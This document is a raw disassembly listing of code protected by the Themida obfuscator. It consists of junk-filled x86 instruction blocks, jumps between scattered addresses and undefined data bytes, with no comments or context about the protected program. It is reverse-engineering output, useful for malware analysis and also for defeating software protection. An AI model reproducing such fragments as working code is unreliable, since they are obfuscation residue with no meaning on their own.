		add	eax, 43A4FC5h
		add	eax, edi
		sub	eax, 43A4FC5h
		push	dword ptr [eax]
		push	0DA9h
		jmp	loc_556610
; ---------------------------------------------------------------------------


loc_56321D:				; CODE XREF: Themida_:00554139j
		mov	[esp], esi
		mov	esi, 20955BE6h
		shl	esi, 1
		sub	esp, 4
		jmp	loc_566359
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0FFCD0AE9h, 243431FFh, 8B243433h, 52662424h,	0FFEE36E9h
		dd 0DEF781FFh, 898D3AC8h, 0A6E95FFDh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563257:				; CODE XREF: Themida_:00563C8Aj
		mov	ebx, esp
		push	49EDh
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55A7F4
; ---------------------------------------------------------------------------
		db 0BBh, 1Dh, 38h
		dd 0CB812028h, 4F321B11h, 0C104E3C1h, 45E904EBh, 81FFFF6Ah
		dd 0E2B908F5h, 5DE92937h, 56BE9h, 241C8B00h, 4C481h, 0E9500000h
		dd 33Ah
; ---------------------------------------------------------------------------


loc_56329C:				; CODE XREF: Themida_:0055A1FFj
		mov	eax, [esp]
		push	1528h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 620A45ABh
		add	eax, 78FE54ABh
		dec	eax
		jmp	loc_55CD58
; ---------------------------------------------------------------------------


loc_5632BA:				; CODE XREF: Themida_:0055E688j
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_55E9EE
; ---------------------------------------------------------------------------
		db 81h
		dd 216351C2h, 0D0B0E948h, 0E952FFFFh, 0FFFFBA8Eh, 4244481h
		dd 2F381B2Bh, 4246C81h,	3B346441h, 0BF685F59h, 0E9000031h
		dd 39Fh, 8B242C87h, 41682424h, 0E9000067h, 0FFFEE574h
		dd 0E9D7F74Fh, 0FFFF637Bh, 8B24048Fh, 1C892424h, 0BA525024h
		dd 11DE5368h, 4245401h,	8324148Bh, 97E904C4h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56332B:				; CODE XREF: Themida_:0055F9AFj
		mov	ecx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		push	eax
		mov	ah, 0E5h
		dec	ah
		add	ah, 0B2h
		mov	dl, ah
		pop	eax
		add	dl, 9Eh
		add	bl, dl
		mov	edx, [esp]
		jmp	loc_5618CE
; ---------------------------------------------------------------------------
		db 81h,	0C1h, 0A8h
		dd 81079A40h, 1C60E3E9h, 0C875D2Ah, 0D3665C24h,	0E99C2404h
		dd 0FFFEE2B8h
; ---------------------------------------------------------------------------


loc_563370:				; CODE XREF: Themida_:0055B42Bj
		pop	eax
		xchg	ecx, [esp]
		mov	esp, [esp]
		sub	[esp+4], eax
		jmp	loc_557965
; ---------------------------------------------------------------------------


loc_563380:				; CODE XREF: Themida_:0055CA5Ej
		push	edi
		jmp	loc_55BFC1
; ---------------------------------------------------------------------------


loc_563386:				; CODE XREF: Themida_:0055C663j
		add	eax, 7F5E7C3h
		add	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_552972
; ---------------------------------------------------------------------------


loc_5633A1:				; CODE XREF: Themida_:0055CFF3j
		push	79F2h
		mov	[esp], eax
		mov	eax, esp
		add	eax, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_55EC2C
; ---------------------------------------------------------------------------
		db 8Fh
		dd 85C2404h, 0E99C2404h, 0FFFEE260h
; ---------------------------------------------------------------------------


loc_5633C8:				; CODE XREF: Themida_:0055171Bj
		add	esp, 4
		push	ebx
		mov	ebx, 4
		sub	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_5656A7
; ---------------------------------------------------------------------------
		dd 706468h, 240C8900h, 642FCCB9h, 64BA527Fh, 4A779A53h
		dd 66EA8142h, 31764704h, 2F69E9D1h, 0D329FFFFh,	241C875Ah
		dd 243C895Ch, 0EC83E789h, 2F7EE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563412:				; CODE XREF: Themida_:0055421Cj
		pop	ebx
		push	eax
		jmp	loc_5615AE
; ---------------------------------------------------------------------------


loc_563419:				; CODE XREF: Themida_:0055AA89j
		sub	eax, 5FDB6E14h
		jmp	loc_55DB18
; ---------------------------------------------------------------------------


loc_563423:				; CODE XREF: Themida_:00565B01j
		push	2379h
		mov	[esp], eax
		add	dword ptr [esp], 1BE44D8Ch
		pop	ecx
		sub	ecx, 1BE44D8Ch
		pop	eax
		jmp	loc_55599E
; ---------------------------------------------------------------------------


loc_56343F:				; CODE XREF: Themida_:00554557j
		add	eax, 4
		jmp	loc_55FE77
; ---------------------------------------------------------------------------
		db 61h,	0E9h, 0DBh
		dd 81FFFF28h, 1277A0E2h, 50C28107h, 0E9053D9Dh,	0FFFEF422h
		dd 0BE56C829h, 3DAD3020h, 3CDFF681h, 0CE813AD5h, 313E402Ah
		dd 5C28F681h, 0F6815E1Fh, 13C1350Fh, 64E8CE81h,	0C6812AA8h
		dd 0CDF8F9D8h, 285AE9h
		db 0
; ---------------------------------------------------------------------------


loc_563491:				; CODE XREF: Themida_:00554EBBj
		push	ebp
		jmp	loc_558631
; ---------------------------------------------------------------------------
		db 81h
		dd 9911F8E7h, 7A916801h, 0C7E90000h, 5DFFFF5Fh,	0FFE5DDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5634AD:				; CODE XREF: Themida_:005621D0j
		mov	[esp], ecx
		mov	ch, 0C6h
		add	al, ch
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55EADD
; ---------------------------------------------------------------------------
		db 51h
		dd 0EE8884B5h, 0B3535259h, 8BDE88CCh, 0C481241Ch, 4, 305AF788h
		dd 2434FFF7h, 0FE3AE95Ah, 74B8FFFEh, 0C1675233h, 8E3508E8h
		dd 0D2A734Fh, 0D9E57E0h, 71371C25h, 7C592543h, 30353CF9h
		dd 3161AB77h, 0E1C158C1h, 0E9C18107h, 0F76CD727h, 81D1F7D9h
		dd 0B0B731F1h, 59CB89C2h, 8158C329h, 0A5675FE9h, 81D90121h
		dd 0A5675FC1h, 0C2815B21h, 2F6563DCh, 0FFA0FDE9h, 0C3815EFFh
		dd 46095828h, 6DE2C381h, 0B1E91AA5h, 0FFFF0Eh, 0E99C2404h
		dd 0FFFEE0D4h
; ---------------------------------------------------------------------------


loc_563554:				; CODE XREF: Themida_:0055785Cj
		add	ebp, 4
		push	edx
		mov	edx, 79FC7E11h
		add	edx, 860381F3h
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		pop	esp
		push	7272h
		mov	[esp], edi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_55EE55
; ---------------------------------------------------------------------------


loc_563581:				; CODE XREF: Themida_:00566611j
		pop	edi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_553250
; ---------------------------------------------------------------------------


loc_56358B:				; CODE XREF: Themida_:0055AD60j
		sub	edx, 6A996A43h
		sub	edx, 2A4616BCh
		add	edx, esi
		add	edx, 2A4616BCh
		add	edx, 6A996A43h
		pop	esi
		sub	edx, 71A210C3h
		add	edx, edi
		add	edx, 71A210C3h
		push	esi
		mov	esi, 46F56868h
		push	edi
		mov	edi, 5A061299h
		shr	edi, 1
		xor	edi, 3279329Bh
		add	edx, edi
		pop	edi
		add	edx, 7F9320F8h
		jmp	loc_55F7DC
; ---------------------------------------------------------------------------
		dw 0E089h
		dd 405h, 36E95500h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635E3:				; CODE XREF: Themida_:00559875j
		sub	esi, 36E52BD8h
		push	ecx
		jmp	loc_56058A
; ---------------------------------------------------------------------------
		db 43h
		dd 0FF8F63E9h, 2474FFFFh, 0FBD4E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5635FE:				; CODE XREF: Themida_:005530C2j
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_552351
; ---------------------------------------------------------------------------


loc_563616:				; CODE XREF: Themida_:00554C2Bj
		add	esi, 4
		push	esi
		jmp	loc_55B349
; ---------------------------------------------------------------------------


loc_563622:				; CODE XREF: Themida_:00557629j
		sub	esp, 4
		mov	[esp], edi
		push	1
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55E0F1
; ---------------------------------------------------------------------------


loc_563639:				; CODE XREF: Themida_:00555BD4j
		add	esi, 4
		jmp	loc_55C833
; ---------------------------------------------------------------------------


loc_563644:				; CODE XREF: Themida_:005521B5j
		push	esi
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5542B5
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 4D1A3E71h, 815EF521h, 0B51AB1CDh, 33ED8162h,	890E784Fh
		dd 0EC815DE9h, 4, 0BB241C89h, 7996F449h, 15BD931h, 4742E9CEh
		dd 6866FFFFh, 12E96B92h, 8900001Eh, 4BB241Ch, 1000000h
		dd 0C9685BDFh, 8900002Fh, 2B9240Ch, 81000000h, 0FD7E51EFh
		dd 0C56FE961h, 0C581FFFFh, 41A11D48h, 0FFEE6CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5636C1:				; CODE XREF: Themida_:0055E6A3j
		push	esi
		mov	esi, 4
		add	edx, esi
		pop	esi
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edx
		jmp	loc_564767
; ---------------------------------------------------------------------------
		dd 76D4C281h, 0D2F7022Fh, 762BE281h, 0E9530A55h, 0FFFEF13Ah
		dd 3681EB81h, 5A6878C0h, 0E900000Ah, 0FFFFA5B2h, 12B8E951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563706:				; CODE XREF: Themida_:005625EFj
		mov	ebx, 7115726Ch
		jmp	loc_557DBB
; ---------------------------------------------------------------------------
		dd 4C481h, 0D0010000h, 5624148Bh, 0BF57E689h, 4, 2E7AEE81h
		dd 0FE012DA0h, 0FFF0F9E9h, 0D02966FFh, 24148B66h, 5502C483h
		dd 68DEBD66h, 44C58166h, 0CD816677h, 81663F84h,	6609E1C5h
		dd 525DE801h, 5CBC68h, 0F465E900h, 8B66FFFEh, 0C4832414h
		dd 0BAB35302h, 8002E3C0h, 0CB80EEE3h, 3C51E90Fh, 0BE56FFFFh
		dd 0FFA9B596h, 9EE9F701h, 0D1FFFF82h, 0BDC181E9h, 0E935F204h
		dd 0FFFF67B2h
; ---------------------------------------------------------------------------


loc_563790:				; CODE XREF: Themida_:0056385Ej
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5586BE
; ---------------------------------------------------------------------------
		db 1, 0C6h, 55h
		dd 0ED7CE7BDh, 38ED8109h, 29B3BE3Eh, 12E95DEEh,	81FFFF3Fh
		dd 0BF6132F2h, 81DAF712h, 0A616CEF2h, 496BE973h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5637CE:				; CODE XREF: Themida_:0055BC05j
		add	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	27F5h
		mov	[esp], ebx
		push	esp
		jmp	loc_55F550
; ---------------------------------------------------------------------------


loc_5637E7:				; CODE XREF: Themida_:005613ADj
		add	edi, 4
		add	edi, 4
		jmp	loc_55D6EC
; ---------------------------------------------------------------------------
		dd 52E08950h, 115305BAh, 1F28137h, 1371153h, 0E8835AD0h
		dd 24048704h, 2434895Ch, 5760FDBEh, 5F4EE93Ch, 0EF01FFFFh
		dd 0B7E9565Dh, 0BAFFFF3Eh, 56310F93h, 0F0E9D001h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563833:				; CODE XREF: Themida_:00560852j
		sub	ecx, 4
		jmp	loc_560ACA
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 68C32802h, 3765h, 0B1240C89h, 0D6C1809Fh, 0FFD540E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563855:				; CODE XREF: Themida_:0055F8AFj
		mov	esi, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		jmp	loc_563790
; ---------------------------------------------------------------------------
		db 66h
		dd 8124048Bh, 4ECh, 24048900h, 635B68h,	8F84E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56387A:				; CODE XREF: Themida_:00551D5Dj
		push	esi
		jmp	loc_551DD1
; ---------------------------------------------------------------------------


loc_563880:				; CODE XREF: Themida_:0055DF86j
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 0E21698Eh
		sub	edx, eax
		pop	eax
		jmp	loc_564EF1
; ---------------------------------------------------------------------------
		db 81h
		dd 0FB319DE3h, 2EBC104h, 8107E3C1h, 762DCEC3h, 5BDE0174h
		dd 0FF1DD7E9h, 58C788FFh, 685Ah, 3C280000h, 243C8A24h
		dd 5004C483h, 0FEE5D6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5638C5:				; CODE XREF: Themida_:00552811j
		add	ebp, 4
		add	ebp, 4
		jmp	loc_552ACC
; ---------------------------------------------------------------------------
		db 53h
		dd 47C3BBBh, 8BDE315Ah,	0C481241Ch, 4, 0FEDDE0E9h, 0F38158FFh
		dd 1C7C4C64h, 0FF569CE9h, 0F9E959FFh, 81FFFF34h, 4C4h
		dd 5AD03100h, 34FFC601h, 0C4835824h, 32F26804h,	2C890000h
		dd 9DB6E924h, 515CFFFFh, 2F4A9CB9h, 59CD013Fh, 5604EDC1h
		dd 33AA1BBEh, 0F1C581F6h, 12B5F01h, 0F1ED81F5h,	5E2B5F01h
		dd 4CC5C681h, 56E95E8Bh
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563947:				; CODE XREF: Themida_:0055B9C1j
		add	ebp, edx
		jmp	loc_560279
; ---------------------------------------------------------------------------
		dw 0F801h
		dd 0D04CC105h, 2434FF72h, 4C4835Fh, 0FFE518E9h,	35D8F7FFh
		dd 3AFCDFFDh, 11EAE981h, 0C1290236h, 11EAC181h,	48B0236h
		dd 0E9A5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56397E:				; CODE XREF: Themida_:00562619j
		pop	esp
		shr	ecx, 0Bh
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_55A0DF
; ---------------------------------------------------------------------------
		db 5Dh
		dd 1A5268h, 24048900h, 42474FFh, 24048F58h, 0FF4D44E9h
		dd 0E9FA29FFh, 0FFFEFB98h, 24148B66h, 0E95D5455h, 1EBAh
; ---------------------------------------------------------------------------


loc_5639BC:				; CODE XREF: Themida_:0055190Dj
		mov	eax, 4
		jmp	loc_5527ED
; ---------------------------------------------------------------------------
		dw 487h
		dd 62DEE924h, 8B66FFFFh, 4E682404h, 89000000h, 1682404h
		dd 5400004Dh, 0E924048Fh, 0FFFF809Bh, 66575666h, 0E92362BFh
		dd 0FFFFB53Eh
; ---------------------------------------------------------------------------


loc_5639F4:				; CODE XREF: Themida_:0055F1DDj
		dec	ecx
		sub	ecx, 54187921h
		jmp	loc_561A83
; ---------------------------------------------------------------------------
		dd 31241433h, 0A9E92414h, 0B3FFFF9Bh, 5BD82887h, 0E902EC83h
		dd 0FFFFE955h, 0E9243C33h, 1F67h, 0C181E189h, 4, 0E904C183h
		dd 296Fh
; ---------------------------------------------------------------------------


loc_563A30:				; CODE XREF: Themida_:00553B12j
		add	esp, 4
		jmp	loc_559C6D
; ---------------------------------------------------------------------------
		dd 81FB015Fh, 882E08EBh, 0FBE95246h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A47:				; CODE XREF: Themida_:0055F718j
		push	1886h
		mov	[esp], edx
		jmp	loc_55DC44
; ---------------------------------------------------------------------------


loc_563A54:				; CODE XREF: Themida_:0055BDB4j
		mov	edx, [esp]
		push	edi
		push	esp
		pop	edi
		add	edi, 4
		push	ebx
		jmp	loc_558313
; ---------------------------------------------------------------------------
		dw 814Eh
		dd 2D7C97EEh, 5EF101CCh, 8B240C87h, 8B662424h, 89522404h
		dd 4C281E2h, 55000000h,	2AE1E956h, 3C890000h, 1592E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563A92:				; CODE XREF: Themida_:00552AD8j
		sub	edx, 5F9005CCh
		add	edx, ebx
		push	ecx
		mov	ecx, 19E61F21h
		sub	ecx, 0BA561955h
		add	edx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_553940
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFEDB68h, 305AF330h, 6BFEE9DCh, 1431FFFFh,	24143324h
		dd 6624248Bh, 9C240401h, 0FEDB4BE9h, 1C8B66FFh,	2C48124h
		dd 51000000h, 88E28852h, 0EA885AD5h, 60AE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_563AF6:				; CODE XREF: Themida_:00556B58j
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebx
		push	esp
		pop	ebx
		push	esi
		mov	esi, 0EA56F3Ch
		jmp	loc_551793
; ---------------------------------------------------------------------------
		dw 0F581h
		dd 929EEF23h, 2CEE9h
		db 0
; ---------------------------------------------------------------------------


loc_563B25:				; CODE XREF: Themida_:0055B3D2j
		pop	edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 13330EA1h
		or	ebx, 3656566Fh
		inc	ebx
		inc	ebx
		sub	ebx, 37775EEDh
		mov	ebp, ebx
		jmp	loc_56060A
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 0D2h
		dd 54FFFF58h, 4BA525Bh,	1000000h, 0EB815AD3h, 4, 5C241C87h
		dd 0BD242C89h, 2, 0FFDA84E9h, 243489FFh, 8C1789BEh, 45C68137h
		dd 0C1243824h, 0EE8102EEh, 0F418D03Dh, 74E9F131h, 83FFFFB8h
		dd 0B7E904C4h, 31FFFFA7h, 4332404h, 4305C24h, 79E99C24h
		dd 8BFFFEDAh, 0C1432424h, 0A8E905EBh, 83FFFF8Eh, 0CAE904C4h
		dd 52FFFEEFh, 0C2815A54h, 4, 0E904C283h, 0FFFF1582h, 9CE9A5B1h
		dd 81FFFF77h, 4C4h, 0C5BA5200h,	0F746B556h, 0A13CE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563BEE:				; CODE XREF: Themida_:0055DE95j
		shl	ecx, 4
		jmp	loc_5591A6
; ---------------------------------------------------------------------------
		dw 1487h
		dd 24248B24h, 4BB0F66h,	21E99C24h, 0FFFFFEDAh, 669D1C77h
		dd 24041858h, 0A2ECE99Ch, 5F68FFFFh, 89000026h,	5366240Ch
		dd 2DE94FB7h, 81FFFFB8h, 0DB6361C6h, 0E6C14656h, 2FC68107h
		dd 89868B2Bh, 0EA815EF2h, 61BC4F40h, 1073BF57h,	0C7811801h
		dd 16267F12h, 0FF6650E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563C51:				; CODE XREF: Themida_:0055D680j
		mov	bl, 96h
		neg	bl
		add	bl, 5Fh
		push	cx
		mov	cl, 71h
		sub	bl, cl
		jmp	loc_55686E
; ---------------------------------------------------------------------------
		db 81h
		dd 42D34DEEh, 6DDEE95Bh, 0E95BFFFFh, 0FFFF6A4Dh
; ---------------------------------------------------------------------------


loc_563C74:				; CODE XREF: Themida_:00565C69j
		pop	esi
		or	eax, eax
		jz	loc_553D44
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_563257
; ---------------------------------------------------------------------------
		db 95h
		dd 1463E9h, 87EB8700h, 87E9241Ch, 5E00000Bh, 0FF19B1E9h
		dd 9AE952FFh, 81FFFF52h, 0F27891C9h, 3EE5E97Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563CB6:				; CODE XREF: Themida_:0055AC0Ej
		mov	esp, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edi
		push	edx
		mov	edx, 1
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_55B606
; ---------------------------------------------------------------------------


loc_563CEF:				; CODE XREF: Themida_:0055E208j
		xchg	ebp, edx
		sub	edx, 0FFFFFFFFh
		jmp	loc_551D33
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0FF26B1E9h, 0E38953FFh, 4C381h, 0C3830000h
		dd 0A125E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563D16:				; CODE XREF: Themida_:0055F21Ej
		shr	bl, 5
		jmp	loc_55410E
; ---------------------------------------------------------------------------
		dw 0E6D1h
		dd 0C681DEF7h, 65F84CA5h, 0FF248EE9h, 4981BAFFh, 13E94499h
		dd 0FFFFFF63h, 5E042474h, 8B24048Fh, 0C892424h,	0D754E924h
		dd 15EFFFFh, 5BA72DE8h,	515D57F9h, 933D0B9h, 0FA25E93Bh
		dd 815AFFFFh, 0C16D08C7h, 66B6E94Ah, 0EC81FFFFh, 4, 81242489h
		dd 42404h, 505B0000h, 0FF11FCE9h, 240C89FFh, 0FF603BE9h
		dd 4C581FFh, 83000000h,	376804C5h, 8900001Bh, 77E9242Ch
		dd 0B3000015h, 683Bh, 53660000h, 0FF5E5DE9h, 3EFC2DFFh
		dd 0E80123C8h, 0C83EFC05h, 0B05E923h, 0C581FFFFh, 1EEE34D6h
		dd 320FED81h, 0E95B2705h, 0FFFFA3F8h
; ---------------------------------------------------------------------------


loc_563DD0:				; CODE XREF: Themida_:0056201Fj
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 72CD640Dh
		push	esi
		not	dword ptr [esp]
		mov	esi, [esp]
		add	esp, 4
		not	esi
		push	ecx
		mov	ecx, 58FC6524h
		push	ebx
		jmp	loc_56021E
; ---------------------------------------------------------------------------
		db 81h
		dd 0A213E7EEh, 81EE2956h, 0A213E7C6h, 8E8E956h,	0CF680000h
		dd 89000007h, 73B82404h, 2932253Fh, 20E958C5h
		db 2Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E1B:				; CODE XREF: Themida_:0055CE7Dj
		pop	ecx
		and	esi, 1FAE64F6h
		shl	esi, 6
		push	ebx
		mov	ebx, 764274EBh
		and	ebx, 4EF72E17h
		inc	ebx
		jmp	loc_5579A9
; ---------------------------------------------------------------------------
		db 1
		dd 8489E9D7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E3E:				; CODE XREF: Themida_:0055F2D5j
		pop	edx
		shr	al, 8
		shl	al, 1
		add	al, 9
		inc	al
		add	al, 22h
		mov	dl, al
		pop	eax
		add	bl, 28h
		add	bl, dl
		jmp	loc_55B109
; ---------------------------------------------------------------------------


loc_563E57:				; CODE XREF: Themida_:00564D47j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_55EE9F
; ---------------------------------------------------------------------------
		dw 1EB7h
		dd 0C1E9F988h
		db 0A6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563E77:				; CODE XREF: Themida_:00552500j
		push	eax
		mov	eax, 4
		mov	edx, eax
		pop	eax
		jmp	loc_554C66
; ---------------------------------------------------------------------------
		db 0BDh, 70h, 0Eh
		dd 0E5815307h, 5A032839h, 0F5EEF581h, 0E929FACDh, 0E9CD015Dh
		dd 0FFFEE1C6h
; ---------------------------------------------------------------------------


loc_563EA0:				; CODE XREF: Themida_:00562917j
		pop	ecx
		add	edx, 73F95363h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xchg	ecx, ebx
		jmp	loc_557FD6
; ---------------------------------------------------------------------------
		dw 4BAh
		dd 0E9000000h, 0FFFFF53Eh, 0F65DB050h, 0E143E9D8h, 0C829FFFEh
		dd 0FB302105h, 0C0055942h, 17BAA6Fh, 6FC02DC8h,	0FFE97BAAh
		dd 5FFFF86h, 7FAF402Fh,	0FF0CF4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_563EED:				; CODE XREF: Themida_:005606A3j
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_55910B
; ---------------------------------------------------------------------------


loc_563EFC:				; CODE XREF: Themida_:00559A2Cj
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		jmp	loc_558936
; ---------------------------------------------------------------------------


loc_563F0C:				; CODE XREF: Themida_:00551802j
		sub	ebx, 1A70145Bh
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_5589A1
; ---------------------------------------------------------------------------
		db 66h,	29h, 0C3h
		dd 0FEF2CFE9h, 0E953ACFFh, 0FFFF53FCh
; ---------------------------------------------------------------------------


loc_563F2C:				; CODE XREF: Themida_:00554E0Dj
		add	eax, ebp
		pop	ebp
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		jmp	loc_551A17
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 0E389241Ch, 4C381h, 0C3810000h, 4, 5C241C87h
		dd 8159E830h, 2ECh, 4896600h, 83B15124h, 0EAE9CC88h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563F73:				; CODE XREF: Themida_:005622A0j
		mov	eax, 3F6614Ch
		shr	eax, 2
		jmp	loc_561AE9
; ---------------------------------------------------------------------------
		dd 0E9243C33h, 0FFFFA285h, 5684F381h, 0C281019Dh, 2DF95378h
		dd 0B951DA01h, 7EF17B8Ch, 0FFED38E9h, 81D3F7FFh, 4A980EBh
		dd 0E9DE895Fh, 0FFFF5523h, 0C381DBF7h, 0F3C6B2BFh, 7C29E953h
		dd 0F889FFFFh, 0FF400BE9h, 4F62BDFFh, 0E94D2321h, 0FFFF217Dh
; ---------------------------------------------------------------------------


loc_563FD0:				; CODE XREF: Themida_:0055D538j
		add	esp, 4
		jmp	loc_5623F5
; ---------------------------------------------------------------------------
aN1W		db '­1ØW¿Í&|',0
		db 0E9h, 7Ch, 15h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_563FE6:				; CODE XREF: Themida_:0055F54Bj
		shl	eax, 1
		jmp	loc_561D28
; ---------------------------------------------------------------------------
		db 2Ch,	83h, 0E9h
		dd 0FFFFB369h, 81FD015Fh, 5B45B7EDh, 243C8B7Eh,	5004C483h
		dd 0FF7C01E9h, 2434FFFFh, 0FF7064E9h, 0E9EB88FFh, 0FFFFD870h
		dd 0A6968ACh, 14890000h, 7964E924h, 55BAFFFFh, 310C540Ch
		dd 0ED8158C2h, 369E59DFh, 0C581D501h, 369E59DFh, 6824148Bh
		dd 2923h, 0FEF427E9h, 48B66FFh,	0E2E95524h, 66FFFF91h
		dd 88E9C329h, 58FFFF25h, 0FF987BE9h, 0EF8159FFh, 106B6E8Bh
		dd 81241C8Bh, 4C4h, 243C8700h, 0E924248Bh, 0FFFF9883h
; ---------------------------------------------------------------------------


loc_56407C:				; CODE XREF: Themida_:0055376Dj
		pop	esi
		jmp	loc_554C6D
; ---------------------------------------------------------------------------
		dw 0E389h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 9707E952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56409A:				; CODE XREF: Themida_:0055F9CDj
		mov	edx, esi
		pop	esi
		neg	edx
		jmp	loc_55311F
; ---------------------------------------------------------------------------
		dd 53F68146h, 89A550B2h, 0E1815EF1h, 76E0157Dh,	0E2D6E981h
		dd 0CA292238h, 592434FFh, 0FF24CAE9h, 7EBD55FFh, 8173F847h
		dd 7B886C5h, 5DE9018Ch,	4BA52h,	0D1010000h, 8324148Bh
		dd 0C8704C4h, 0A5685C24h, 8900000Ah, 5F682414h,	8900004Ah
		dd 51682434h, 0E9000001h, 0FFFEE4EEh, 1EA8058h,	0FFDE31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_564109:				; CODE XREF: Themida_:0056621Cj
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Bh
		xor	ecx, eax
		push	4C32h
		mov	[esp], edi
		sub	esp, 4
		jmp	loc_55D6A5
; ---------------------------------------------------------------------------


loc_564124:				; CODE XREF: Themida_:0056247Cj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		or	edx, eax
		shl	edx, 1
		push	4A33h
		jmp	loc_555AEF
; ---------------------------------------------------------------------------


loc_56413B:				; CODE XREF: Themida_:00557D9Dj
		not	edx
		xor	edx, 73997283h
		add	edx, 4FA5507Bh
		jmp	loc_560477
; ---------------------------------------------------------------------------
		dw 0E3C0h
		dd 0EA43E903h, 1CF7FFFEh, 0C9E99C24h, 0FFFFFED4h, 8B042474h
		dd 0C4812404h, 4, 8B24048Fh, 8BE92424h
		db 0FAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_564177:				; CODE XREF: Themida_:00554E88j
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		mov	esi, 33FE5266h
		xor	esi, 1539473Eh
		sub	esi, 1DC5010Ch
		or	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		sub	ecx, 1
		push	eax
		mov	eax, 29EB77CBh
		xor	ecx, eax
		jmp	loc_562D4E
; ---------------------------------------------------------------------------


